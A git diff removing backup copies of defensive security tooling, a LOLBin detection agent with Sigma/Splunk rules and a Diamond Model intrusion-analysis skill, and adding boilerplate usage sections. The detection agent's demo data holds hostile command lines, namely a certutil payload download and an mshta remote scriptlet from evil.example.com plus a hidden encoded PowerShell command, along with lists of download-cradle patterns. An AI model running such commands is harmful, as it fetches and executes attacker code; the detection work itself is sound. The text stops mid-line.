diff --git a/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md b/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md deleted file mode 100644 index 9d10e358..00000000 --- a/skills/detecting-living-off-the-land-attacks.bak/references/api-reference.md +++ /dev/null @@ -1,70 +0,0 @@ -# API Reference: Detecting Living Off the Land Attacks - -## LOLBAS Project -- Website: https://lolbas-project.github.io/ -- API: https://lolbas-project.github.io/api/lolbas.json -- GitHub: https://github.com/LOLBAS-Project/LOLBAS - -## Key LOLBins and MITRE Mappings -| Binary | MITRE ATT&CK | Abuse Type | -|--------|-------------|------------| -| certutil.exe | T1140, T1105 | File download, decode | -| mshta.exe | T1218.005 | Script execution via HTA | -| rundll32.exe | T1218.011 | Proxy execution | -| regsvr32.exe | T1218.010 | COM scriptlet execution | -| msbuild.exe | T1127.001 | Code compilation | -| bitsadmin.exe | T1197, T1105 | File download, persistence | -| wmic.exe | T1047 | WMI execution | -| cscript.exe | T1059.005 | VBS/JS script execution | -| installutil.exe | T1218.004 | .NET install bypass | -| powershell.exe | T1059.001 | Script execution | - -## Sysmon Event IDs for Detection -| Event ID | Description | -|----------|------------| -| 1 | Process Create (CommandLine, ParentImage) | -| 3 | Network Connection (detect downloads) | -| 7 | Image Loaded (DLL side-loading) | -| 11 | File Create (dropped payloads) | -| 15 | FileCreateStreamHash (ADS abuse) | - -## Sigma Rules for LOLBin Detection -```yaml -title: Certutil File Download -logsource: - category: process_creation - product: windows -detection: - selection: - Image|endswith: '\\certutil.exe' - CommandLine|contains|all: - - 'urlcache' - - 'split' - - 'http' - condition: selection -level: high -tags: - - attack.defense_evasion - - attack.t1140 -``` - -## Splunk SPL Detection -```spl -index=sysmon EventCode=1 -| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$") -| eval suspicious=case( - like(CommandLine, "%urlcache%"), "certutil download", - like(CommandLine, "%javascript:%"), "script execution", - like(CommandLine, "%-enc %"), "encoded command", - true(), "review") -| where suspicious!="review" -| table _time Computer User Image CommandLine ParentImage suspicious -``` - -## Suspicious Parent-Child Relationships -| Parent | Suspicious Child | -|--------|-----------------| -| winword.exe | cmd.exe, powershell.exe, mshta.exe | -| excel.exe | cmd.exe, powershell.exe, wmic.exe | -| outlook.exe | powershell.exe, cmd.exe | -| wmiprvse.exe | powershell.exe, cmd.exe | diff --git a/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py b/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py deleted file mode 100644 index 6b4fe1e1..00000000 --- a/skills/detecting-living-off-the-land-attacks.bak/scripts/agent.py +++ /dev/null @@ -1,221 +0,0 @@ -#!/usr/bin/env python3 -"""Living off the land (LOLBin) attack detection agent. - -Monitors process creation logs for suspicious use of legitimate Windows -binaries, correlates with LOLBAS project data, and flags anomalous -command-line patterns and parent-child process relationships. -""" - -import argparse -import json -import os -import re -import datetime - -try: - import requests - HAS_REQUESTS = True -except ImportError: - HAS_REQUESTS = False - - -LOLBIN_SIGNATURES = { - "certutil.exe": { - "suspicious_args": [ - r"-urlcache", r"-split", r"-decode", r"-encode", - r"-verifyctl", r"http[s]?://", - ], - "mitre": ["T1140", "T1105"], - "description": "Certificate utility abused for file download/decode", - }, - "mshta.exe": { - "suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"], - "mitre": ["T1218.005"], - "description": "HTML Application host used for script execution", - }, - "rundll32.exe": { - "suspicious_args": [ - r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", - r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX", - ], - "mitre": ["T1218.011"], - "description": "DLL loader abused for proxy execution", - }, - "regsvr32.exe": { - "suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"], - "mitre": ["T1218.010"], - "description": "COM registration utility abused for script execution", - }, - "msbuild.exe": { - "suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"], - "mitre": ["T1127.001"], - "description": "Build tool abused for code compilation and execution", - }, - "installutil.exe": { - "suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"], - "mitre": ["T1218.004"], - "description": ".NET install utility abused for code execution", - }, - "bitsadmin.exe": { - "suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"], - "mitre": ["T1197", "T1105"], - "description": "BITS service abused for file download and persistence", - }, - "wmic.exe": { - "suspicious_args": [ - r"process\s+call\s+create", r"os\s+get", r"/node:", - r"shadowcopy\s+delete", - ], - "mitre": ["T1047"], - "description": "WMI command-line abused for execution and recon", - }, - "cscript.exe": { - "suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"], - "mitre": ["T1059.005", "T1059.007"], - "description": "Script host executing VBS/JS from unusual location", - }, - "powershell.exe": { - "suspicious_args": [ - r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass", - r"-WindowStyle\s+Hidden", r"Invoke-Expression", - r"IEX\s*\(", r"Net\.WebClient", r"DownloadString", - ], - "mitre": ["T1059.001"], - "description": "PowerShell with obfuscation or download cradle", - }, -} - -SUSPICIOUS_PARENTS = { - "winword.exe": "Office application spawning child process", - "excel.exe": "Office application spawning child process", - "outlook.exe": "Email client spawning child process", - "powerpnt.exe": "Office application spawning child process", - "wmiprvse.exe": "WMI provider executing child process", - "svchost.exe": "Service host spawning unexpected child", -} - - -def analyze_process_event(process_name, command_line, parent_name=None): - """Analyze a process creation event for LOLBin abuse.""" - findings = [] - proc_lower = process_name.lower() - cmd_lower = command_line.lower() if command_line else "" - - sig = LOLBIN_SIGNATURES.get(proc_lower) - if sig: - matched_patterns = [] - for pattern in sig["suspicious_args"]: - if re.search(pattern, cmd_lower, re.IGNORECASE): - matched_patterns.append(pattern) - if matched_patterns: - findings.append({ - "type": "lolbin_abuse", - "binary": proc_lower, - "description": sig["description"], - "mitre_techniques": sig["mitre"], - "matched_patterns": matched_patterns, - "command_line": command_line[:200], - "severity": "HIGH", - }) - - if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS: - findings.append({ - "type": "suspicious_parent", - "parent": parent_name.lower(), - "child": proc_lower, - "description": SUSPICIOUS_PARENTS[parent_name.lower()], - "severity": "HIGH", - }) - - return findings - - -def scan_process_log(log_entries): - """Scan a list of process creation log entries.""" - all_findings = [] - for entry in log_entries: - findings = analyze_process_event( - entry.get("process_name", ""), - entry.get("command_line", ""), - entry.get("parent_name"), - ) - if findings: - entry_result = {"event": entry, "findings": findings} - all_findings.append(entry_result) - return all_findings - - -def fetch_lolbas_data(): - """Fetch LOLBAS project data from GitHub.""" - if not HAS_REQUESTS: - return {"error": "requests not installed"} - url = "https://lolbas-project.github.io/api/lolbas.json" - try: - resp = requests.get(url, timeout=15) - if resp.status_code == 200: - data = resp.json() - return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]} - return {"error": f"HTTP {resp.status_code}"} - except Exception as e: - return {"error": str(e)} - - -def main(): - parser = argparse.ArgumentParser( - description="Detect living off the land (LOLBin) attacks" - ) - parser.add_argument("--log-file", help="JSON file with process creation events") - parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data") - parser.add_argument("--output", "-o", help="Output JSON report path") - args = parser.parse_args() - - print("[*] Living Off the Land Attack Detection Agent") - print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}") - - report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"} - - if args.fetch_lolbas: - lolbas = fetch_lolbas_data() - report["lolbas_project"] = lolbas - print(f"[*] LOLBAS data: {lolbas}") - - if args.log_file and os.path.isfile(args.log_file): - with open(args.log_file) as f: - events = json.load(f) - results = scan_process_log(events) - report["findings"] = results - print(f"[*] Events analyzed: {len(events)}") - print(f"[*] Suspicious findings: {len(results)}") - else: - demo_events = [ - {"process_name": "certutil.exe", - "command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe", - "parent_name": "cmd.exe"}, - {"process_name": "mshta.exe", - "command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')", - "parent_name": "winword.exe"}, - {"process_name": "powershell.exe", - "command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...", - "parent_name": "excel.exe"}, - {"process_name": "notepad.exe", - "command_line": "notepad.exe C:\\Users\\admin\\notes.txt", - "parent_name": "explorer.exe"}, - ] - results = scan_process_log(demo_events) - report["findings"] = results - print(f"\n[DEMO] Analyzed {len(demo_events)} process events") - for r in results: - for f in r["findings"]: - print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} " - f"- {f['description']}") - - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - - print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES), - "findings": len(report.get("findings", []))}, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/skills/detecting-oauth-token-theft/SKILL.md b/skills/detecting-oauth-token-theft/SKILL.md index e4ede345..e95a2a60 100644 --- a/skills/detecting-oauth-token-theft/SKILL.md +++ b/skills/detecting-oauth-token-theft/SKILL.md @@ -16,3 +16,18 @@ license: Apache-2.0 Analyze OAuth sign-in telemetry for indicators of token theft including impossible travel, device fingerprint changes, and token replay attacks. + + +## When to Use + +- When investigating security incidents that require detecting oauth token theft +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + +## Prerequisites + +- Familiarity with identity security concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md b/skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md index b1b06008..d3fd9524 100644 --- a/skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Privilege escalation in Kubernetes occurs when a pod or container gains elevated permissions beyond its intended scope. This includes running as root, using privileged mode, mounting host filesystems, enabling dangerous Linux capabilities, or exploiting kernel vulnerabilities. Detection combines admission control (prevention), runtime monitoring (detection), and audit logging (investigation). + +## When to Use + +- When investigating security incidents that require detecting privilege escalation in kubernetes pods +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Kubernetes cluster v1.25+ (Pod Security Admission support) diff --git a/skills/detecting-shadow-api-endpoints/SKILL.md b/skills/detecting-shadow-api-endpoints/SKILL.md index 977d698e..c1cbc1ff 100644 --- a/skills/detecting-shadow-api-endpoints/SKILL.md +++ b/skills/detecting-shadow-api-endpoints/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Shadow APIs are API endpoints operating within an organization's environment that are not tracked, documented, or secured. They emerge from rapid development cycles, forgotten test environments, deprecated API versions left running, third-party integrations, or developer side projects deployed without governance. Shadow APIs bypass authentication and monitoring controls, creating hidden entry points for attackers. Studies show that up to 30% of API endpoints in large organizations are undocumented, making shadow API detection a critical component of API security posture management. + +## When to Use + +- When investigating security incidents that require detecting shadow api endpoints +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - API gateway or reverse proxy with traffic logging (Kong, AWS API Gateway, Envoy) diff --git a/skills/executing-diamond-model-analysis.bak/LICENSE b/skills/executing-diamond-model-analysis.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/executing-diamond-model-analysis.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/executing-diamond-model-analysis.bak/SKILL.md b/skills/executing-diamond-model-analysis.bak/SKILL.md deleted file mode 100644 index dd56eda6..00000000 --- a/skills/executing-diamond-model-analysis.bak/SKILL.md +++ /dev/null @@ -1,132 +0,0 @@ ---- -name: executing-diamond-model-analysis -description: > - Applies the Diamond Model of Intrusion Analysis to structure adversary activity into its four - core vertices (adversary, capability, infrastructure, victim) and identifies relationships between - them to pivot investigations and attribute campaigns. Use when analyzing a completed intrusion, - linking disparate incidents to a common threat actor, or building structured analytic products - for threat intelligence dissemination. Activates for requests involving Diamond Model, intrusion - analysis, campaign clustering, or adversary attribution methodology. -domain: cybersecurity -subdomain: threat-intelligence -tags: [Diamond-Model, intrusion-analysis, attribution, campaign-clustering, CTI, MITRE-ATT&CK] -version: 1.0.0 -author: team-cybersecurity -license: Apache-2.0 ---- -# Executing Diamond Model Analysis - -## When to Use - -Use this skill when: -- Analyzing a confirmed intrusion to understand the complete adversary-capability-infrastructure-victim relationship -- Attempting to link two or more incidents to a common threat actor using shared infrastructure or capability indicators -- Structuring a finished intelligence product that explains adversary behavior in a formal analytic framework - -**Do not use** this skill during active incident containment — Diamond Model analysis is a post-event or concurrent intelligence activity, not a response procedure. - -## Prerequisites - -- Completed incident investigation data: logs, forensic artifacts, malware samples, network captures -- Access to MITRE ATT&CK, VirusTotal, Shodan, and passive DNS databases for vertex enrichment -- Link analysis platform (Maltego, Analyst's Notebook, or graph database like Neo4j) for multi-event correlation -- Familiarity with the original Diamond Model paper: Caltagirone, Pendergast, Betz (2013) - -## Workflow - -### Step 1: Populate the Four Core Vertices - -**Adversary Vertex**: Who conducted the activity? -- Operator (direct keyboard access) vs. Customer (who commissioned the attack) distinction -- Attribution confidence level (Low/Medium/High) with supporting evidence -- Known aliases, ATT&CK Group ID, sector targeting history - -**Capability Vertex**: What tools and techniques were used? -- Malware families: names, YARA signatures, behavioral characteristics -- Exploits: CVEs exploited, exploit kit identifiers -- ATT&CK techniques employed (T-numbers) -- Capability sophistication: commodity (off-shelf) vs. custom-developed - -**Infrastructure Vertex**: What systems were used to conduct the attack? -- C2 servers: IPs, domains, hosting providers, certificate fingerprints -- Delivery infrastructure: phishing domains, watering holes, compromised servers -- Operational relay boxes (ORBs): intermediate proxies obscuring true origin - -**Victim Vertex**: Who/what was targeted? -- Organization profile: sector, size, geography, technology stack -- Personae: specific individuals targeted (CISO, finance team, executives) -- Assets targeted: intellectual property, financial systems, OT/ICS - -### Step 2: Identify Vertex Relationships (Edges) - -Document relationships between vertices: -- Adversary → uses → Capability (malware development/deployment relationship) -- Adversary → uses → Infrastructure (operational relationship) -- Infrastructure → delivers → Capability (technical delivery mechanism) -- Capability → targets → Victim (attack surface relationship) -- Infrastructure → attacks → Victim (direct connection) - -Each edge should be supported by at least two independent data points (evidence-backed, not inferred). - -### Step 3: Apply Meta-Features for Enrichment - -Meta-features provide additional context beyond the four vertices: - -**Timestamp**: When did each phase of the intrusion occur? Map to cyber kill chain phases. - -**Phase**: Which kill chain phase does this activity represent? -- Reconnaissance → Weaponization → Delivery → Exploitation → Installation → C2 → Actions on Objectives - -**Direction**: Attack direction (external-to-internal, internal-to-external for exfiltration) - -**Result**: Outcome of each adversary action (success/failure/partial) - -**Resources**: Adversary resources invested (time, money, infrastructure cost, zero-day usage) - -### Step 4: Cluster Events Using Vertex Pivoting - -Apply Diamond Model pivoting logic to cluster related incidents: -- **Infrastructure pivot**: Same C2 IP across multiple incidents → same or related adversary -- **Capability pivot**: Same malware hash or YARA signature → same tool developer -- **Adversary pivot**: Same victimology pattern (sector + geography + asset type) → same targeting criteria -- **Victim pivot**: Same victim across multiple incidents → sustained campaign against organization - -``` -Incident A: IP 185.220.101.x, domain evil-redir[.]com, SUNBURST malware variant -Incident B: IP 185.220.101.y (same /24), domain redir-evil[.]com, modified SUNBURST -→ Infrastructure cluster (same /24 block) + Capability cluster (same malware family) = High confidence same actor -``` - -### Step 5: Produce Structured Analytic Output - -Document analysis in structured format: -- Diamond event diagram for each discrete intrusion event -- Activity thread connecting multiple events across time -- Activity group (cluster) with confidence assessment -- Competing hypotheses analysis: alternative attribution explanations with evidence weighting (ACH methodology) - -## Key Concepts - -| Term | Definition | -|------|-----------| -| **Diamond Model** | Intrusion analysis framework with four vertices (adversary, capability, infrastructure, victim) connected by edges representing relationships | -| **Activity Thread** | A time-ordered sequence of Diamond events representing a single adversary operation | -| **Activity Group** | A cluster of Diamond events linked by shared vertex properties, suggesting a common adversary | -| **Adversary Operator vs. Customer** | Diamond Model distinction: operator has keyboard access; customer directs/funds the operation | -| **Pivoting** | Using a known vertex value to discover additional related events or infrastructure (e.g., one IP revealing 20 more C2 domains) | -| **ACH** | Analysis of Competing Hypotheses — structured analytic technique for evaluating evidence against multiple attribution hypotheses | - -## Tools & Systems - -- **Maltego**: Graph-based link analysis ideal for visualizing Diamond vertex relationships and infrastructure pivots -- **Neo4j**: Graph database for storing and querying complex Diamond event clusters at scale; supports Cypher query language -- **MISP**: Diamond Model meta-feature tagging supported via MISP galaxies and correlation engine -- **Analyst's Notebook (IBM i2)**: Law enforcement/intelligence-grade link analysis for adversary relationship mapping - -## Common Pitfalls - -- **Conflating operator and customer**: Not distinguishing between who conducted the attack and who directed it leads to incorrect attribution targeting. -- **Infrastructure re-use assumption**: Bulletproof hosting providers sell the same IP blocks to multiple criminal groups. Shared IP ≠ same actor without additional corroboration. -- **Analysis without confidence levels**: Diamond Model conclusions presented without confidence qualifiers appear more certain than the evidence supports. -- **Ignoring the victim vertex**: Analysis often over-focuses on adversary/capability and neglects victim characterization, which provides crucial context for predicting future targeting. -- **Static diagrams**: Diamond events should be time-stamped and evolve as new evidence emerges. Static diagrams without version history mask analytic evolution. diff --git a/skills/executing-diamond-model-analysis.bak/references/api-reference.md b/skills/executing-diamond-model-analysis.bak/references/api-reference.md deleted file mode 100644 index 722f8163..00000000 --- a/skills/executing-diamond-model-analysis.bak/references/api-reference.md +++ /dev/null @@ -1,73 +0,0 @@ -# API Reference: Diamond Model Analysis Agent - -## Dependencies - -| Library | Version | Purpose | -|---------|---------|---------| -| Python stdlib | 3.8+ | json, dataclasses, hashlib, argparse | - -## CLI Usage - -```bash -python scripts/agent.py \ - --input events.json \ - --output diamond_report.json \ - --pivot-type infrastructure \ - --pivot-value "185.220.101.42" -``` - -## Input Format - -```json -[ - { - "event_id": "EVT-001", - "timestamp": "2025-01-15T14:30:00Z", - "adversary": ["APT29"], - "adversary_confidence": "high", - "capabilities": ["SUNBURST", "T1071.001"], - "infrastructure": ["185.220.101.42", "evil-redir.com"], - "victims": ["TargetCorp"], - "phase": "C2", - "result": "success" - } -] -``` - -## Functions - -### `create_event(event_data) -> DiamondEvent` -Constructs a `DiamondEvent` dataclass from raw dict. Auto-generates `event_id` via MD5 if not provided. - -### `pivot_on_vertex(events, vertex_type, value) -> list` -Returns events sharing a specified vertex value. Supports pivoting on `adversary`, `capability`, `infrastructure`, `victim`. - -### `cluster_events(events) -> dict` -Groups events by shared infrastructure or capability values. Returns clusters with overlapping event IDs. - -### `build_activity_thread(events) -> list` -Sorts events chronologically and assigns sequence numbers for timeline reconstruction. - -### `generate_report(events) -> dict` -Produces the full Diamond Model report with unique entities, activity thread, and clusters. - -## Data Classes - -### `Vertex` -Fields: `vertex_type` (str), `values` (list), `confidence` (str), `notes` (str) - -### `DiamondEvent` -Fields: `event_id`, `timestamp`, `adversary` (Vertex), `capability` (Vertex), `infrastructure` (Vertex), `victim` (Vertex), `phase`, `direction`, `result` - -## Output Schema - -```json -{ - "report_date": "ISO-8601", - "total_events": 5, - "unique_adversaries": ["APT29"], - "unique_infrastructure": ["185.220.101.42"], - "activity_thread": [{"sequence": 1, "event_id": "EVT-001", ...}], - "clusters": {"clusters": [...], "total_events": 5} -} -``` diff --git a/skills/executing-diamond-model-analysis.bak/scripts/agent.py b/skills/executing-diamond-model-analysis.bak/scripts/agent.py deleted file mode 100644 index 4d5198de..00000000 --- a/skills/executing-diamond-model-analysis.bak/scripts/agent.py +++ /dev/null @@ -1,175 +0,0 @@ -#!/usr/bin/env python3 -# For authorized penetration testing and educational environments only. -# Usage against targets without prior mutual consent is illegal. -# It is the end user's responsibility to obey all applicable local, state and federal laws. -"""Diamond Model intrusion analysis agent for structuring adversary activity.""" - -import argparse -import json -import hashlib -import logging -from datetime import datetime -from dataclasses import dataclass, field -from typing import List - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - - -@dataclass -class Vertex: - vertex_type: str - values: List[str] = field(default_factory=list) - confidence: str = "medium" - notes: str = "" - - -@dataclass -class DiamondEvent: - event_id: str - timestamp: str - adversary: Vertex - capability: Vertex - infrastructure: Vertex - victim: Vertex - phase: str = "" - direction: str = "external-to-internal" - result: str = "success" - meta_notes: str = "" - - -def create_event(event_data: dict) -> DiamondEvent: - """Build a DiamondEvent from a raw dict of incident data.""" - return DiamondEvent( - event_id=event_data.get("event_id", hashlib.md5( - json.dumps(event_data, sort_keys=True).encode() - ).hexdigest()[:8]), - timestamp=event_data.get("timestamp", datetime.utcnow().isoformat()), - adversary=Vertex( - vertex_type="adversary", - values=event_data.get("adversary", []), - confidence=event_data.get("adversary_confidence", "medium"), - ), - capability=Vertex( - vertex_type="capability", - values=event_data.get("capabilities", []), - ), - infrastructure=Vertex( - vertex_type="infrastructure", - values=event_data.get("infrastructure", []), - ), - victim=Vertex( - vertex_type="victim", - values=event_data.get("victims", []), - ), - phase=event_data.get("phase", ""), - direction=event_data.get("direction", "external-to-internal"), - result=event_data.get("result", "success"), - ) - - -def pivot_on_vertex(events: List[DiamondEvent], vertex_type: str, value: str) -> List[DiamondEvent]: - """Pivot across events sharing a common vertex value.""" - matches = [] - for event in events: - vertex = getattr(event, vertex_type, None) - if vertex and value in vertex.values: - matches.append(event) - logger.info("Pivot on %s='%s' returned %d events", vertex_type, value, len(matches)) - return matches - - -def cluster_events(events: List[DiamondEvent]) -> dict: - """Cluster events by shared infrastructure and capability vertices.""" - infra_map = {} - cap_map = {} - for event in events: - for val in event.infrastructure.values: - infra_map.setdefault(val, []).append(event.event_id) - for val in event.capability.values: - cap_map.setdefault(val, []).append(event.event_id) - - clusters = [] - for key, eids in infra_map.items(): - if len(eids) > 1: - clusters.append({"pivot": "infrastructure", "value": key, "event_ids": eids}) - for key, eids in cap_map.items(): - if len(eids) > 1: - clusters.append({"pivot": "capability", "value": key, "event_ids": eids}) - return {"clusters": clusters, "total_events": len(events)} - - -def build_activity_thread(events: List[DiamondEvent]) -> List[dict]: - """Order events into a time-sorted activity thread.""" - sorted_events = sorted(events, key=lambda e: e.timestamp) - thread = [] - for idx, event in enumerate(sorted_events): - thread.append({ - "sequence": idx + 1, - "event_id": event.event_id, - "timestamp": event.timestamp, - "phase": event.phase, - "adversary": event.adversary.values, - "capability": event.capability.values, - "infrastructure": event.infrastructure.values, - "victim": event.victim.values, - "result": event.result, - }) - return thread - - -def generate_report(events: List[DiamondEvent]) -> dict: - """Generate a complete Diamond Model analysis report.""" - clusters = cluster_events(events) - thread = build_activity_thread(events) - - all_adversaries = set() - all_infra = set() - all_caps = set() - for e in events: - all_adversaries.update(e.adversary.values) - all_infra.update(e.infrastructure.values) - all_caps.update(e.capability.values) - - return { - "report_date": datetime.utcnow().isoformat(), - "total_events": len(events), - "unique_adversaries": 